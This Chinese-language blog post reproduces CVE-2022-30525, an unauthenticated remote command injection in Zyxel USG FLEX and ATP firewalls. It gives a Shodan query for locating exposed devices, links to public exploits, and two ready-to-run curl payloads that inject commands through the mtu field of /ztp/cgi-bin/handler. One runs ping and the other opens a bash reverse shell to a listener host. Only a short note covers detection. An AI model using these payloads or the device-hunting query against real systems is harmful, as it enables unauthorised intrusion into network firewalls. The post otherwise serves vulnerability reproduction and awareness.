CVE-2022-30525 Zyxel firewalls ztp 远程命令执行漏洞复现
漏洞简述
CVE-2022-30525中,Zyxel防火墙版本的CGI程序中,由于对某些传入的特殊数据处理存在错误,攻击者在未经身份验证的情况下通过构造恶意数据进行系统命令注入攻击,修改特定文件,最终执行任意代码。
漏洞影响版本
5.00 ≤ Zyxel ≤ 5.21
Shodan 搜索语法
title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
漏洞exp
https://github.com/Henry4E36/CVE-2022-30525
https://github.com/superzerosec/CVE-2022-30525
漏洞复现
存在漏洞的Zyxel防火墙容易受到通过管理 HTTP 接口进行未经身份验证的远程命令注入的攻击。命令以nobody
用户身份执行。此漏洞通过/ztp/cgi-bin/handler
URI 被利用,并且是将未经过滤的攻击者输入传递os.system
到lib_wan_settings.py
. setWanPortSt
易受攻击的功能与命令相关联被调用。攻击者可以将任意命令注入到mtu
或data
参数中。
这里通过curl
使防火墙执行ping
命令。
curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged" :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}' https://192.168.1.1/ztp/cgi-bin/handler
使用bash进行反弹shell。官方提供的 bash -c \”exec bash -i” 没有测试成功,下面换成了最原始的命令。
curl -v --insecure -X POST -H "Content-Type: application/json" -d ' {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged": "1","vlanid":"5","mtu":"; bash -i >& /dev/tcp/192.168.1.2/1234 0>&1;","data":"hi"}' https://192.168.1.1 /ztp/cgi-bin/handler
溯源排查
目前暂无可排查日志。该payload位于post body中,大部分中间件也不会记录。如果有日志,可重点排查路径/ztp/cgi-bin/handler。
总结
不要用msf官方提供的exp,一个都没有测试成功的。经判断状态码为500就存在漏洞,判断逻辑不严谨!
由于命令执行的用户为nobody,而且该防火墙的系统架构为mips64。即使反弹shell成功,用户权限过低。目前没有可用的提权漏洞,所以该漏洞实际能造成的危害不高。
赞赏微信赞赏支付宝赞赏
发表评论